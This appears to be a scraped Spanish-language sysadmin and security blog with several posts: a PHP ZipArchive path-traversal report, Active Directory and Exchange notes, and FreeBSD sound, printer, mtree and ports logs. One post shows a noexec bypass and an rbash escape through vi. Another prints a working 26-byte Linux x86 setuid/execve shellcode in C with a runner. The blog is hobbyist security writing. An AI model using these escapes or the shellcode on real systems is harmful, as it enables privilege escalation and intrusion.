On Wed, Jan 28, 2009 at 4:32 PM, vlan7 wrote:
> Hi!
>
> Recently I've found a vulnerability in ZipArchive's PHP.
>
> An atacker would overwrite any file doing a directory transversal simply
> naming zipped archives somethin' like ../../../../var/www/hack.php
>
> Are you aware of this?

Yes, it is fixed in 5.3.0 and partially fixed in 5.2.x (a bug in a
zend function did not fix it nicely). Everything should be fien in
5.2.9 (RC1 to be released soon).

Thanks for your report!

Cheers,

html mailto tag encoder antispam

*nix. Saltando restriccion noexec + evadiendo una shell restrictiva

Si un buen administrador ha incluido en el fstab (vfstab en solaris) la opcion noexec para montaje de la particion digamos /home del usuario, su idea seria que el usuario no pudiera ejecutar programas bajados por el, es decir, que residan en la particion montada como noexec.

Al intentar ejecutar un script con ./script.sh

No nos lo permite el sistema.

Podemos saltarnos esta restriccion anteponiendo el script en el que esta programado. Por ejemplo:

/bin/bash script.sh

Para archivos binarios ejecutables, y esto es en Linux:

/lib/ld-linux.so.2 binario

Como administradores se nos podria ocurrir quitar el permiso de ejecucion a ld-linux.so.2 , pero ¿que sistema no tiene alguna libreria dinamicamente enlazada? Asi que esa no es una solucion viable.

Lo que podemos hacer es dar al usuario una shell restrictiva tipo bash-r como shell por defecto en el /etc/passwd

Con esto lo que hacemos es una jaula en la que el usuario no puede ejecutar programas que no esten en el PATH, y por supuesto, no puede modificar la variable PATH.

Bien, como todo lo que una mente humana puede asegurar, otra mente humana puede violar, como atacantes procederiamos asi.

El viejo editor vi tiene una opcion para ejecutar comandos de shell.

probador:~$ cd ..
rbash: cd: restricted
probador:~$ vi prueba.sh


Y en vi:

:set shell=/bin/bash
:shell
probador:~$ cd ..
probador:/home$


Suerte,

Sobre espacio ocupado por la bd de Active Directory

Algunos administradores lo que hacen para conocer el espacio ocupado por la bd de AD es usar el comando:

ntdsutil files info

El problema es que este comando da error si no es ejecutado en modo Restauracion de AD.

Realmente la solucion es mucho mas sencilla. _Toda_ la bd de AD se encuentra en el archivo ntds.dit. Lo que pese el archivo es el tamaño de la bd de AD.

Es desfragmentable y es posible ver cuanto espacio en HD podemos ganar (tras eliminar objetos de AD) mediante una desfragmentacion que tanto puede ser online como offline. Google.

lunes, enero 19, 2009

Migracion Exchange 5.5 -> 2003

Esto es lo que he recuperado de un .doc que tenia sobre migraciones de Exchange 5.5 a versiones superiores. No es necesario pasar por 2000. A destacar que 5.5 usaba su propio Directorio, por lo que es necesario integrarlo en AD.



MIGRACIÓN
EXCHANGE 5.5->2003
 
 


Requisitos DC: 


-W2k3 Server (Todas las funcionalidades
de Exchange 2k3) Recomendado


o


-W2k Server SP3 


Requisitos Exchange 2k3: 


2GB RAM


HD mínimo = Tamaño medio
buzón * Num users


NTFS 


IIS


Servicio SMTP


Servicio NNTP (aunque no se
use)


Otros (ASP.NET, .Net Framework) 


Migración 5.5 ->
2k3:
 


(0.- Migración a AD) <-
Sólo si el DC es NT. Backup previo


1.- Instalación + Config Conector
de AD


2.- Instalación Exchange 2k3
en organización actual


3.- Migración datos


4.- Eliminación
Desconexión cable red Exchange 5.5


Aquí ya estamos operativos.
Default mode: Mixto


 

5.- Comprobación + Paso del
tiempo


 

(6.- Paso a Modo Nativo)<-Opcional.
Más óptimo que Mixto. Irreversible.


 

Seguridad,
Administración:


 

(…)




sábado, enero 17, 2009

% CPU limiters

martes, noviembre 25, 2008

PostIt: Smallest GNU/Linux x86 setuid/execve shellcode without NULLs

Aqui esta todo lo que tengo que decir, en una de mis casas:

http://www.wadalbertia.org/phpBB2/viewtopic.php?t=5139

Gracias NeTTinG por hacerlo post-it, da gusto Wadalbertia, da gusto, de verdad :) Y a sch3ma de Opensec, he has initiated the funny game :)

Si me lo permitis or recomiendo un buen libro del que me he podido empapar de bastante informacion:

Writing Security Tools and Exploits, de Syngress.

Ah, por esta vez paso de mandarlo a ningun lado, yo ya estoy contento desprendiendo conocimiento a mi alrededor, mucho o poco, pero conocimiento. Total que.

Suerte y Exitos.

sábado, noviembre 22, 2008

Bit Twiddling Hacks

Bit Twiddling Hacks
By Sean Eron Anderson
seander@cs.stanford.edu

Individually, the code snippets here are in the public domain (unless otherwise noted) — feel free to use them however you please. The aggregate collection and descriptions are © 1997-2005 Sean Eron Anderson. The code and descriptions are distributed in the hope that they will be useful, but WITHOUT ANY WARRANTY and without even the implied warranty of merchantability or fitness for a particular purpose. As of May 5, 2005, all the code has been tested thoroughly. Thousands of people have read it. Moreover, Professor Randal Bryant, the Dean of Computer Science at Carnegie Mellon University, has personally tested almost everything with his Uclid code verification system. What he hasn't tested, I have checked against all possible (32-bit) inputs. To the first person to inform me of a legitimate bug in the code, I'll pay a bounty of US$10 (by check or Paypal). If directed to a charity, I'll pay US$20.

Bit Twiddling Hacks

miércoles, noviembre 19, 2008

Smallest GNU/Linux x86 setuid/execve shellcode without NULLs

Bueno, consegui mejorar un poco la genial shellcode de Chema Garcia de opensec.

Ahora soy yo el que tiene la shellcode mas pequeña del mundo haha (aun basandome -muchisimo, solo cambie un par de lineas- en la suya).

Yo consegui reducirla 1 byte. 26 bytes.

Ahora... ¿quien es el siguiente? ;)

Ahi va:

/*
Smallest GNU/Linux x86 setuid/execve shellcode without NULLs
(based on Chema Garcia, aka sch3m4's code from opensec)
(shrinked down only for the fun of gettin' the most minimalistic shellcode possible)

vlan7 - 19/11/2008
http://vlan7.blogspot.com

Shellcode size: 26 bytes
*/

#include <stdio.h>

char sc[] =
"\x31\xc9" //xor ecx,ecx
"\x8d\x41\x17" //lea eax,[ecx+17h]
"\x60" //pusha
"\xcd\x80" //int 80h
"\x61" //popa
"\x51" //push ecx
"\x68\x6e\x2f\x73\x68" //push 0x68732f6e
"\x68\x2f\x2f\x62\x69" //push 0x69622f2f
"\x89\xe3" //mov ebx,esp
"\xb0\x0b" //mov al,0bh
"\xcd\x80"; //int 80h

void main() {
printf("Smallest GNU/Linux x86 setuid/execve shellcode without NULLs"
"\n(based on Chema Garcia, aka sch3m4's code from opensec)"
"(only for the fun of gettin' the most minimalistic shellcode possible)"
"\n\nvlan7 - 19/11/2008"
"\nhttp://vlan7.blogspot.com"
"\n\nShellcode size: %d bytes\n", sizeof(sc)-1);
(*(void (*)()) sc)();
}


-Mi shellcode en Packetstorm:
http://packetstormsecurity.org/filedesc/smallest_setuid_execve_sc.c.html

-Mi shellcode en Wadalbertia (con comentarios nuestros):
http://www.wadalbertia.org/phpBB2/viewtopic.php?t=5139

-La shellcode de Chema Garcia (gracias Chema):
http://opensec.es/2008/11/14/gnulinux-x86-setuid0-execvebinsh00-shellcode-without-null/

martes, noviembre 18, 2008

Como configure mi sonido en FreeBSD

pciconf -lv

no me mostraba nada referente al HW de mi tarjeta de sonido que es una AC'97 de esas malillas integrada en placa.

Bien, carguemos todos los drivers de sonido y asi al menos veremos si FreeBSD la soporta. Edito /boot/loader.conf y añado:

snd_driver_load="YES"

Muy bestia, el sonido ya salia por mis altavoces.

La salida del comando pciconf -lv ya mejoraba...

none0@pci0:2:7: class=0x040100 card=0x70121849 chip=0x70121039 rev=0xa0 hdr=0x00
vendor = 'Silicon Integrated Systems (SiS)'
device = 'SiS7012 PCI Audio Accelerator'
class = multimedia
subclass = audio

Tras investigar me di cuenta de que mi driver era snd_ich.ko

Efectivamente, eliminando snd_driver_load="YES" y cargando en la shell el modulo con

kldload /boot/kernel/snd_ich.ko

bastaba para tener sonido.

Asi que ese modulo solo cargo ahora...

Como configure mi impresora en FreeBSD

Tengo una Lexmark E250DN conectada a la red, asi que no me hace falta CUPS, etc

En /etc/printcap puse:

lp|e250dn:\
:sh:\
:rm=e250dn:rp=e250dn:sd=/var/spool/output/e250dn:lf=/var/log/lpd-errs:

Y comente:

#\
#:if=/usr/local/libexec/if-script:

En /etc/hosts añadi el nombre e250dn con su IP

En /etc/rc.conf añadi:

lpd_enable="YES"

para que me arrancara el demonio de lp al inicio

Lo demas como cualquier UNIX, lpq para ver la cola, lpd para controlar el demonio, lpr para imprimir...

lunes, noviembre 17, 2008

FreeBSD. Integridad de archivos.

Todos conocemos Tripwire. Bien. ¿Por que usarlo en FreeBSD si ya tenemos uno de serie llamado mtree?

Mi log:

[vlan7@fbsd7 /usr/home/vlan7]$ su -
Password:
fbsd7# echo A lo practico, minimalista, a ver que pasa si lanzamos mtree contra /usr/bin
A lo practico, minimalista, a ver que pasa si lanzamos mtree contra /usr/bin
fbsd7# cd /usr/bin fbsd7# mtree -c -K vlan7,md5digest,sha1digest,ripemd160digest -s 7777777 >/tmp/mtree_usr_bin
mtree: line 0: unknown keyword vlan7
fbsd7# mtree -c -K cksum,md5digest,sha1digest,ripemd160digest -s 7777777 > /tmp/mtree_usr_bin
mtree: /usr/bin checksum: 2130528872
fbsd7# echo -K ... Quiero un checksum con esos 3 algoritmos de cifrado. 3 hashes, matematicamente mucho mas dificil que romper que 1 hash
-K ... Quiero un checksum con esos 3 algoritmos de cifrado. 3 hashes, matematicamente mucho mas dificil que romper que 1 hash
fbsd7# echo -s La semilla en numero
-s La semilla en numero
fbsd7# echo Esto es un ejemplo, mi numero favorito es el 7, pero cuanto mas compleja sea la semilla, mas seguro sera el checksum
Esto es un ejemplo, mi numero favorito es el 7, pero cuanto mas compleja sea la semilla, mas seguro sera el checksum
fbsd7# echo Apunta esos 2 numeros, y cifralos
Apunta esos 2 numeros, y cifralos
fbsd7# echo Veamos como es el archivo resultante
Veamos como es el archivo resultante
fbsd7# ls -la /tmp/mtree_usr_bin
-rw-r--r-- 1 root wheel 113311 Nov 17 21:47 /tmp/mtree_usr_bin
fbsd7# file /tmp/mtree_usr_bin
/tmp/mtree_usr_bin: ASCII text
fbsd7# echo Es muy grande para ser de texto, veamos las primeras 15 lineas:
Es muy grande para ser de texto, veamos las primeras 15 lineas:
fbsd7# head -n 15 /tmp/mtree_usr_bin
# user: vlan7
# machine: fbsd7.probador.com
# tree: /usr/bin
# date: Mon Nov 17 21:47:28 2008

# .
/set type=file uid=0 gid=0 mode=0555 nlink=1 flags=none
. type=dir mode=0755 nlink=2 size=7168 time=1226802429.0
CC nlink=3 size=172896 time=1203875470.0 cksum=416819826 \
md5digest=9f7de49c50113c6dd8f8a9df5fe5241b \
sha1digest=3f0395e526dc6eda86db1213096d56388350536b \
ripemd160digest=76c6dd731c6c44648d4094328a88b42cda24c636
Mail nlink=3 size=78976 time=1203875563.0 cksum=2798507066 \
md5digest=0f58337d044fce0ed7a3c822c2720c6f \
sha1digest=1519b7ef0dcd7cf209ed4730e247ecc010317366 \
fbsd7# echo el /set es la mas importante, guarda seguimiento de todas las propiedades de un archivo
el /set es la mas importante, guarda seguimiento de todas las propiedades de un archivo
fbsd7# echo Firmamos el archivo
Firmamos el archivo
fbsd7# md5 /tmp/mtree_usr_bin
MD5 (/tmp/mtree_usr_bin) = 8f22740592e8a75568673ca43e48b56b
fbsd7# echo Deberias redirigirlo a un archivo o imprimirlo, lo necesitaras luego para chequear la integridad de la bd
Deberias redirigirlo a un archivo o imprimirlo, lo necesitaras luego para chequear la integridad de la bd
fbsd7# echo cifremoslo
cifremoslo
fbsd7# openssl enc -e -bf -in /tmp/mtree_usr_bin -out /tmp/al_usb
enter bf-cbc encryption password:
Verifying - enter bf-cbc encryption password:
fbsd7# echo bf de Blowfish
bf de Blowfish
fbsd7# echo ahora deberiamos mandarlo a un USB y borrarlo, pero esto solo es un juego, asi que sigamos
ahora deberiamos mandarlo a un USB y borrarlo, pero esto solo es un juego, asi que sigamos
fbsd7# echo no hablaremos de borrado seguro ahora, simplemente lo borraremos
no hablaremos de borrado seguro ahora, simplemente lo borraremos
fbsd7# rm /tmp/mtree_usr_bin
fbsd7# echo Vamos a jugar con la integridad de la bd
Vamos a jugar con la integridad de la bd
fbsd7# echo Desciframos
Desciframos
fbsd7# openssl enc -d -bf -in /tmp/al_usb -out /tmp/mtree_usr_bin
enter bf-cbc decryption password:
fbsd7# comprobamos que no ha sido modificado
comprobamos: Command not found.
fbsd7# echo comprobamos que no ha sido modificado
comprobamos que no ha sido modificado
fbsd7# md5 /tmp/mtree_usr_bin
MD5 (/tmp/mtree_usr_bin) = 8f22740592e8a75568673ca43e48b56b
fbsd7# echo Coincide. El archivo no se ha modificado
Coincide. El archivo no se ha modificado
fbsd7# echo Ahora vamos a ver si algun archivo a auditar del sistema ha sido cambiado
Ahora vamos a ver si algun archivo a auditar del sistema ha sido cambiado
fbsd7# pwd
/usr/bin
fbsd7# mtree -s 7777777 </tmp/mtree_usr_bin
mtree: /usr/bin checksum: 1905672155
fbsd7# echo Es igual, luego nada ha cambiado
Es igual, luego nada ha cambiado
fbsd7# echo Que pasa si algo cambia?
echo: No match.
fbsd7# echo Que pasa si algo cambia\?
Que pasa si algo cambia?
fbsd7# echo Y que cambiamos de forma elegante sin backup\?
Y que cambiamos de forma elegante sin backup?
fbsd7# echo Vamos a cambiar cualquier tonteria. Bluetooth. Yo no uso bluetooth para nada. Cambiaremos un archivo que me dijo un folk y luego desharemos los cambios
Vamos a instalar cualquier tonteria. Bluetooth. Yo no uso bluetooth para nada. Cambiaremos un archivo que me dijo un folk y luego desharemos los cambios
fbsd7# ls btso*
btsockstat
fbsd7# mv btsockstat btsockstat2
fbsd7# echo Ahora vamos a ver si mtree se ha dado cuenta
Ahora vamos a ver si mtree se ha dado cuenta
fbsd7# mtree -s 7777777 </tmp/mtree_usr_bin
. changed
modification time expected Sun Nov 16 03:27:09 2008 found Mon Nov 17 22:37:57 2008
btsockstat2 extra
mtree: /usr/bin checksum: 1394213982
./btsockstat missing
fbsd7# echo Ahi estamos :\)
Ahi estamos :)
fbsd7# echo Directorios importantes en un FreeBSD serian
Directorios importantes en un FreeBSD serian
fbsd7# echo /bin
/bin
fbsd7# echo /sbin
/sbin
fbsd7# echo /usr/bin
/usr/bin
fbsd7# echo /usr/sbin
/usr/sbin
fbsd7# echo /usr/local/bin
/usr/local/bin
fbsd7# echo /usr/X11R6/bin
/usr/X11R6/bin
fbsd7# echo ah y dejamos todo como antes, aunque jamas lo use
ah y dejamos todo como antes, aunque jamas lo use
fbsd7# mv btsockstat2 btsockstat
fbsd7#

FreeBSD. Jugando con ports y paquetes. Instalacion, actualizacion, auditoria de seguridad

Un log para entenderme a mi mismo:

[vlan7@fbsd7 /usr/home/vlan7]$ su -
Password:
fbsd7# portsnap fetch
Looking up portsnap.FreeBSD.org mirrors... 3 mirrors found.
Fetching public key from portsnap2.FreeBSD.org... done.
Fetching snapshot tag from portsnap2.FreeBSD.org... done.
Fetching snapshot metadata... done.
Fetching snapshot generated at Sun Nov 16 01:27:21 CET 2008:
04a7c3f4f00bb46d78ffad9bd8cf1998afe982e7e72759100% of 54 MB 164 kBps 00m00s
Extracting snapshot... done.
Verifying snapshot integrity... done.
Fetching snapshot tag from portsnap2.FreeBSD.org... done.
Fetching snapshot metadata... done.
Updating from Sun Nov 16 01:27:21 CET 2008 to Mon Nov 17 01:29:14 CET 2008.
Fetching 3 metadata patches.. done.
Applying metadata patches... done.
Fetching 0 metadata files... done.
Fetching 44 patches.....10....20....30....40.. done.
Applying patches... done.
Fetching 8 new ports or files... done.

Esto nos ha guardado un snapshot comprimido de los ports aqui:

fbsd7# ls /var/db/portsnap/
INDEX files pub.ssl serverlist serverlist_full serverlist_tried tINDEX tag

El siguiente comando solo lo tenemos que hacer la primera vez que corremos portsnap, despues siempre el proximo comando a este:

fbsd7# portsnap extract
/usr/ports/.cvsignore
(...)
/usr/ports/x11/zenity/
Building new INDEX files... done.

Y de ahora en adelante cada vez que queramos actualizar, solo tendriamos que hacer el fetch y el siguiente comando:

fbsd7# portsnap update
Ports tree is already up to date.

Vamos a ver si hay nuevas versiones para algo que tengamos

fbsd7# portmaster -L | egrep -i -B1 'new version|aborting|installed|dependencies' | grep -v '^--' | egrep -i 'bitchx|kde'
===>>> kdeaccessibility-3.5.8
===>>> New version available: kdeaccessibility-3.5.10
===>>> kdeadmin-3.5.8
===>>> New version available: kdeadmin-3.5.10
===>>> kdeartwork-3.5.8
===>>> New version available: kdeartwork-3.5.10
===>>> kdebase-3.5.8
===>>> New version available: kdebase-3.5.10_1
===>>> kdebase-kompmgr-3.5.8
===>>> New version available: kdebase-kompmgr-3.5.10
===>>> kdeedu-3.5.8
===>>> New version available: kdeedu-3.5.10
===>>> kdegames-3.5.8
===>>> New version available: kdegames-3.5.10
===>>> kdegraphics-3.5.8_1
===>>> New version available: kdegraphics-3.5.10
===>>> kdelibs-3.5.8
===>>> New version available: kdelibs-3.5.10
===>>> kdemultimedia-3.5.8
===>>> New version available: kdemultimedia-3.5.10
===>>> kdenetwork-3.5.8
===>>> New version available: kdenetwork-3.5.10
===>>> kdepim-3.5.8
===>>> New version available: kdepim-3.5.10
===>>> kdesdk-3.5.8
===>>> New version available: kdesdk-3.5.10
===>>> kdetoys-3.5.8
===>>> New version available: kdetoys-3.5.10
===>>> kdeutils-3.5.8
===>>> New version available: kdeutils-3.5.10
===>>> kdevelop-3.5.0
===>>> New version available: kdevelop-3.5.3
===>>> kdewebdev-3.5.8,2
===>>> New version available: kdewebdev-3.5.10,2
===>>> BitchX-1.1.0.1
===>>> New version available: BitchX-1.1.0.1_3
===>>> es-kde-i18n-3.5.8
===>>> New version available: es-kde-i18n-3.5.10
===>>> kde-3.5.8
===>>> New version available: kde-3.5.10

tenemos un nuevo paquete de idiomas de kde, pero podria romper cosas si no instalamos la ultima version de KDE, lo cual durara bastante, asi que actualizaremos BitchX

fbsd7# portmaster -b BitchX-1.1.0.1
===>>> Port to upgrade: BitchX-1.1.0.1
===>>> Port directory: /usr/ports/irc/bitchx
===>>> Gathering distinfo list for installed ports
===>>> Launching 'make checksum' for irc/bitchx in background
cd /usr/ports/irc/bitchx && make config;
??????????????????????????????????????????????????????????????????????
? Options for BitchX 1.1.0.1_3 ?
? ?????????????????????????????????????????????????????????????????? ?

(...) ? ?[ ]
===>>> Starting check for runtime dependencies
===>>> Gathering dependency list for irc/bitchx from ports
===>>> Starting dependency check
===>>> Dependency check complete for irc/bitchx

===> Cleaning for BitchX-1.1.0.1_3

===>>> Upgrade for BitchX-1.1.0.1 to BitchX-1.1.0.1_3 succeeded


Por defecto portmaster guarda backups de todo lo que modifica. Y si todo va bien, los borra.

Especificando la opcion -b lo que conseguimos es que no los borre, que es lo ideal, poder probar los paquetes unos dias por lo menos

Los backups los guarda aqui:


fbsd7# ls /usr/ports/packages/portmaster-backup
bash-3.2.25.tbz gettext-0.16.1_3.tbz libtool-1.5.24.tbz png-1.2.22.tbz

Si quisieramos volver atras...
...
vamos a arriesgarnos y a instalar el paquete para castellanizar KDE, e inmediatamente volveremos atras


fbsd7# history |tail -15
124 3:08 portsnap -L | grep -i bitchx
125 3:08 portsnap -L
126 3:10 portmaster -L | egrep -i -B1 'new version|aborting|installed|dependencies' | grep -v '^--' | egrep -i 'bitchx|kde'
127 3:12 echo tenemos un nuevo paquete de idiomas de kde, pero podria romper cosas si no instalamos la ultima version de KDE, lo cual durara bastante, asi que actualizaremos BitchX
128 3:13 portmaster -b BitchX-1.1.0.1
129 3:30 echo Por defecto portmaster guarda backups de todo lo que modifica
130 3:30 echo y si todo va bien, los borra.
131 3:31 echo Especificando la opcion -b lo que conseguimos es que no los borre, que es lo ideal, poder probar los paquetes unos dias por lo menos
132 3:31 echo Los backups los guarda aqui:
133 3:31 ls /usr/ports/packages/portmaster-backup
134 3:32 Si quisieramos volver atras...
135 3:32 echo Si quisieramos volver atras...
136 3:32 echo ...
137 3:33 echo vamos a arriesgarnos y a instalar el paquete para castellanizar KDE, e inmediatamente volveremos atras
138 3:33 history | tail -15
fbsd7# !126
portmaster -L | egrep -i -B1 'new version|aborting|installed|dependencies' | grep -v '^--' | grep -i kde
===>>> kdeaccessibility-3.5.8
===>>> New version available: kdeaccessibility-3.5.10
===>>> kdeadmin-3.5.8
===>>> New version available: kdeadmin-3.5.10
===>>> kdeartwork-3.5.8
===>>> New version available: kdeartwork-3.5.10
===>>> kdebase-3.5.8
===>>> New version available: kdebase-3.5.10_1
===>>> kdebase-kompmgr-3.5.8
===>>> New version available: kdebase-kompmgr-3.5.10
===>>> kdeedu-3.5.8
===>>> New version available: kdeedu-3.5.10
===>>> kdegames-3.5.8
===>>> New version available: kdegames-3.5.10
===>>> kdegraphics-3.5.8_1
===>>> New version available: kdegraphics-3.5.10
===>>> kdelibs-3.5.8
===>>> New version available: kdelibs-3.5.10
===>>> kdemultimedia-3.5.8
===>>> New version available: kdemultimedia-3.5.10
===>>> kdenetwork-3.5.8
===>>> New version available: kdenetwork-3.5.10
===>>> kdepim-3.5.8
===>>> New version available: kdepim-3.5.10
===>>> kdesdk-3.5.8
===>>> New version available: kdesdk-3.5.10
===>>> kdetoys-3.5.8
===>>> New version available: kdetoys-3.5.10
===>>> kdeutils-3.5.8
===>>> New version available: kdeutils-3.5.10
===>>> kdevelop-3.5.0
===>>> New version available: kdevelop-3.5.3
===>>> kdewebdev-3.5.8,2
===>>> New version available: kdewebdev-3.5.10,2
===>>> es-kde-i18n-3.5.8
===>>> New version available: es-kde-i18n-3.5.10
===>>> kde-3.5.8
===>>> New version available: kde-3.5.10

Asi se llamaba: es-kde-il8n-3.5.10. Vamos a instalarlo

fbsd7# portmaster -b es-kde-i18n-3.5.8
===>>> Port to upgrade: es-kde-i18n-3.5.8
===>>> Port directory: /usr/ports/misc/kde3-i18n-es
===>>> Gathering distinfo list for installed ports
===>>> Launching 'make checksum' for misc/kde3-i18n-es in background
===>>> Gathering dependency list for misc/kde3-i18n-es from ports
===>>> Starting recursive 'make config' check
===>>> Launching child to update qt-3.3.8_6

===>>> Port to upgrade: qt-3.3.8_6
===>>> Port directory: /usr/ports/x11-toolkits/qt33
===>>> Launching 'make checksum' for x11-toolkits/qt33 in background
cd /usr/ports/x11-toolkits/qt33 && make config;

(...)

===>>> Done displaying pkg-message files

Ha tardado unas 8 horas. Vamos a ver si nos ha dejado los archivos de backup en su sitio:

fbsd7# ls /usr/ports/packages/portmaster-backup
bash-3.2.25.tbz gettext-0.16.1_3.tbz libtool-1.5.24.tbz png-1.2.22.tbz

Vemos que root no tiene acentos ni enyes, pero es porque no esta en la clase spanish

Habria que anyadir la localizacion a la clase propia del root, que es una clase sin ninguna restriccion

Si lo ligaramos a la clase spanish, lo ligariamos a la clase default tambien, y eso para root jamas

vamos a actualizar un paquetito pequeño

uno de los de seguridad


[root@fbsd7 ~]# portaudit -Fda
auditfile.tbz 100% of 51 kB 44 kBps
New database installed.
Database created: lunes, 17 de noviembre de 2008, 08:10:01 CET
Affected package: net-snmp-5.3.1_7
Type of problem: net-snmp -- DoS for SNMP agent via crafted GETBULK request.
Reference:

Affected package: mysql-client-5.0.45_1
Type of problem: mysql -- command line client input validation vulnerability.
Reference:

Affected package: ruby-1.8.6.111_1,1
Type of problem: ruby -- multiple vulnerabilities in safe level.
Reference:

Affected package: ruby-1.8.6.111_1,1
Type of problem: ruby -- DoS vulnerability in WEBrick.
Reference:

Affected package: ruby-1.8.6.111_1,1
Type of problem: ruby -- DNS spoofing vulnerability.
Reference:

Affected package: poppler-0.6
Type of problem: poppler -- uninitialized pointer.
Reference:

Affected package: ruby-1.8.6.111_1,1
Type of problem: ruby -- multiple integer and buffer overflow vulnerabilities.
Reference:

Affected package: xorg-server-1.4_4,1
Type of problem: xorg -- multiple vulnerabilities.
Reference:

Affected package: vorbis-tools-1.1.1_5,3
Type of problem: vorbis-tools -- Speex header processing vulnerability.
Reference:

Affected package: gnupg-2.0.4
Type of problem: gnupg -- memory corruption vulnerability.
Reference:

Affected package: ghostscript-gpl-8.60
Type of problem: ghostscript -- zseticcspace() function buffer overflow vulnerability.
Reference:

11 problem(s) in your installed packages found.

You are advised to update or deinstall the affected package(s) immediately.

ruby es pequeño, vamos a por el

Veamos cuanto ocupa y que dependencias tiene


[root@fbsd7 ~]# pkg_info -rs ruby*
Information for ruby-1.8.6.111_1,1:

Depends on:
Package Size:
8357 (1K-blocks)

[root@fbsd7 ~]# portmaster -b ruby-1.8.6.111_1,1
===>>> Port to upgrade: ruby-1.8.6.111_1,1
===>>> Port directory: /usr/ports/lang/ruby18
===>>> Gathering distinfo list for installed ports
===>>> Launching 'make checksum' for lang/ruby18 in background
cd /usr/ports/lang/ruby18 && make config;

??????????????????????????????????????????????????????????????????????
? Options for ruby 1.8.6.287,1 ?
? ?????????????????????????????????????????????????????????????????? ?
? ? [ ] PTHREADS Enable pthreads support (may break some apps) ? ?
? ? [ ] ONIGURUMA Build with oniguruma regular expressions lib ? ?
? ? [ ] GCPATCH Build with GC performance statistics collector ? ?
? ? [ ] IPV6 Enable IPv6 support ? ?
? ? [ ] RDOC Build and install Rdoc indexes ? ?
? ? [ ] DEBUG Compile-in debug info ? ?
? ? ? ?
? ? ? ?
? ? ? ?
? ? ? ?
? ? ? ?
? ? ? ?
? ? ? ?
? ? ? ?
? ? ? ?
??????????????????????????????????????????????????????????????????????
? [ OK ] Cancel ?
??????????????????????????????????????????????????????????????????????

(...)

Note that some of the standard libraries are provided as separate
ports since they require extra dependencies:

converters/ruby-iconv iconv module

databases/ruby-gdbm: GDBM module

x11-toolkits/ruby-tk: Tcl/Tk modules
japanese/ruby-tk: Tcl/Tk modules for Japanized Tcl/Tk

lang/ruby-mode.el: Emacs lisp modules

Install them as occasion demands.
====

===>>> Done displaying pkg-message files

En un momento me pidio seleccionar opciones. Yo quite IPv6, yo no lo uso

Ahora vamos a limpiar archivos innecesarios

Ala, como en gentoo, el make clean limpia todo menos distfiles...


[root@fbsd7 ~]# portmaster --clean-distfiles
===>>> Gathering distinfo list for installed ports
===>>> Checking for stale distfiles

Vaya, pues no, aqui en FreeBSD parece que tenemos todo OK

[root@fbsd7 ~]# ls /usr/ports/distfiles
KDE
MesaLib-7.0.3.tar.bz2
aspell-0.60.6.tar.gz
(...)
tiff-3.8.2.tar.gz
xorg

pues aqui hay cosas... borrara los no referenciados

alguien lo puede asegurar?

Ahora vamos a limpiar paquetes huerfanos con una herramienta de la suite portupgrade


[root@fbsd7 /usr/ports]# pkg_add -r portupgrade
Fetching ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-7.0-release/Latest/portupgrade.tbz... Done.
Fetching ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-7.0-release/All/ruby18-bdb-0.6.2.tbz... Done.
pkg_add: warning: package 'ruby18-bdb-0.6.2' requires 'ruby-1.8.6.111_1,1', but 'ruby-1.8.6.287,1' is installed
pkg_add: warning: package 'portupgrade-2.3.1,2' requires 'ruby-1.8.6.111_1,1', but 'ruby-1.8.6.287,1' is installed

(...)
------------------------------------------------------------------------------

Vamos a ver si hay mucha diferencia entre el paquete instalado como binario al paquete de los ports

[root@fbsd7 /usr/ports]# pkg_version -v -s portupgrade
portupgrade-2.3.1,2 < needs updating (port has 2.4.6,2)

Bueno, actualicemos

Pero primero a ver cuanto ocupa


[root@fbsd7 /usr/ports]# pkg_info -rs portupgrade*
Information for portupgrade-2.3.1,2:

Depends on:
Dependency: ruby-1.8.6.111_1,1
Dependency: perl-5.8.8_1
Dependency: db41-4.1.25_4
Dependency: ruby18-bdb-0.6.2
Package Size:
699 (1K-blocks)

Poco y las dependencias creo que las tenemos todas o casi todas

[root@fbsd7 /usr/ports]# portmaster -b portupgrade-2.3.1,2
===>>> Port to upgrade: portupgrade-2.3.1,2
===>>> Port directory: /usr/ports/ports-mgmt/portupgrade
===>>> Gathering distinfo list for installed ports
===>>> Launching 'make checksum' for ports-mgmt/portupgrade in background
cd /usr/ports/ports-mgmt/portupgrade && make config;

??????????????????????????????????????????????????????????????????????
? Options for portupgrade 2.4.6,2 ?
? ?????????????????????????????????????????????????????????????????? ?
? ? [X] BDB4 Use Berkeley DB >=2 as backend ? ?
? ? [ ] BDB1 Use Berkeley DB 1.85 as backend ? ?
? ? ? ?
? ? ? ?
? ? ? ?
? ? ? ?
? ? ? ?
? ? ? ?
? ? ? ?
? ? ? ?
? ? ? ?
? ? ? ?
? ? ? ?
? ? ? ?
? ? ? ?
??????????????????????????????????????????????????????????????????????
? [ OK ] Cancel ?
??????????????????????????????????????????????????????????????????????

(...)

===>>> Done displaying pkg-message files

Nada, 1 minuto ha tardado

Borramos cualquier port que no este referenciado por ningun otro port ya


[root@fbsd7 /usr/ports]# portsclean -D
Detecting unreferenced distfiles...
[Updating the portsdb in /usr/ports ... - 19395 port entries found .........1000.........2000.........3000.........4000.........5000.........6000.........7000.........8000.........9000.........10000.........11000.........12000.........13000.........14000.........15000.........16000.........17000.........18000.........19000... ..... done]
no unreferenced distfiles found.

Borramos cualquier archivo de distfiles que no este referenciado por algun paquete instalado actualmente

[root@fbsd7 /usr/ports]# portsclean -DD
Detecting unreferenced distfiles...
[Rebuilding the pkgdb in /var/db/pkg ... - 400 packages found (-0 +400) ....................................................................................................100....................................................................................................200....................................................................................................300....................................................................................................400 done]
no unreferenced distfiles found.

Vaya, parece que tampoco hizo nada. Mi pregunta de antes sobra pues :)

Y ahora lo mismo pero con los paquetes que no estan referenciados por ningun otro paquete (paquetes muertos)


[root@fbsd7 /usr/ports]# pkg_add -r pkg_cutleaves
Fetching ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-7.0-release/Latest/pkg_cutleaves.tbz... Done.
[root@fbsd7 /usr/ports]# pkg_version -v -s cutleaves*
pkg_cutleaves-20071021 < needs updating (port has 20080320)
[root@fbsd7 /usr/ports]# portmaster -b pkg_cutleaves-20071021
===>>> Port to upgrade: pkg_cutleaves-20071021
===>>> Port directory: /usr/ports/ports-mgmt/pkg_cutleaves
===>>> Gathering distinfo list for installed ports
===>>> Launching 'make checksum' for ports-mgmt/pkg_cutleaves in background
===>>> Gathering dependency list for ports-mgmt/pkg_cutleaves from ports
===>>> Starting recursive 'make config' check
